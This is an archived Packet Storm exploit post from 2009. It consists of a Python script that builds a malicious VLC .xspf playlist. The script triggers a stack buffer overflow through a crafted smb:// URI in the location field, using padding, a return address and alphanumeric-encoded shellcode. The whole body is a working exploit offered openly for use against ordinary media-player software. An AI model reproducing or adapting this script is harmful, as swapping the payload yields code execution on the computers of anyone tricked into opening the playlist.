VLC Media Player 1.0.1 Buffer Overflow

2009-08-15T00:00:00
ID PACKETSTORM:80358
Type packetstorm
Reporter Stack
Modified 2009-08-15T00:00:00

Description

                                        
                                            `#!/usr/bin/env python  
# VLC Media Player 1.0.0\1.0.1 smb:// URI Handling Remote Stack Overflow  
# Xpl By : Mountassif Moad  
# Thanks : His0ka - Simo-soft - v4 Team  
# Original : http://www.milw0rm.com/exploits/9427  
#  
  
popup_msg=(  
"TY777777777777777777777777777777777QZjAXP0A0AkAAQ2AB2BB0"  
"BBABXP8ABuJIXkweaHrJwpf02pQzePMhyzWwSuQnioXPOHuBxKnaQlkO"  
"jpJHIvKOYokObPPwRN1uqt5PA") # from his0k4 exploit :d cose i lost the alpha encoder tool :s  
  
header1 = ("<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n")  
header1 += ("<playlist version=\"1\" xmlns=\"http://xspf.org/ns/0/\" xmlns:vlc=\"http://www.videolan.org/vlc/playlist/ns/0/\">\n")  
header1 += ("\t<title>Playlist</title>\n")  
header1 += ("\t<trackList>\n")  
header1 += ("\t\t<track>\n")  
header1 += ("\t\t\t<location>smb://example.com@www.example.com/foo/#{")  
payload = ("\x41" * 2 + "\x42" * 4 + "\x43" * 90 + "\x33\x52\x48\x7E" + popup_msg + "\x45" * 43 )  
header2 = ("}</location>\n");  
header2 += ("\t\t\t<extension application=\"http://www.videolan.org/vlc/playlist/0\">\n");  
header2 += ("\t\t\t\t<vlc:id>0</vlc:id>\n");  
header2 += ("\t\t\t</extension>\n");  
header2 += ("\t\t</track>\n");  
header2 += ("\t</trackList>\n");  
header2 += ("</playlist>\n");  
try:  
f1 = open("vlc_1.0.X.xspf","w")  
f1.write(header1 + payload + header2)  
f1.close()  
print("\nExploit file created!\n")  
except:  
print "Error"  
  
  
`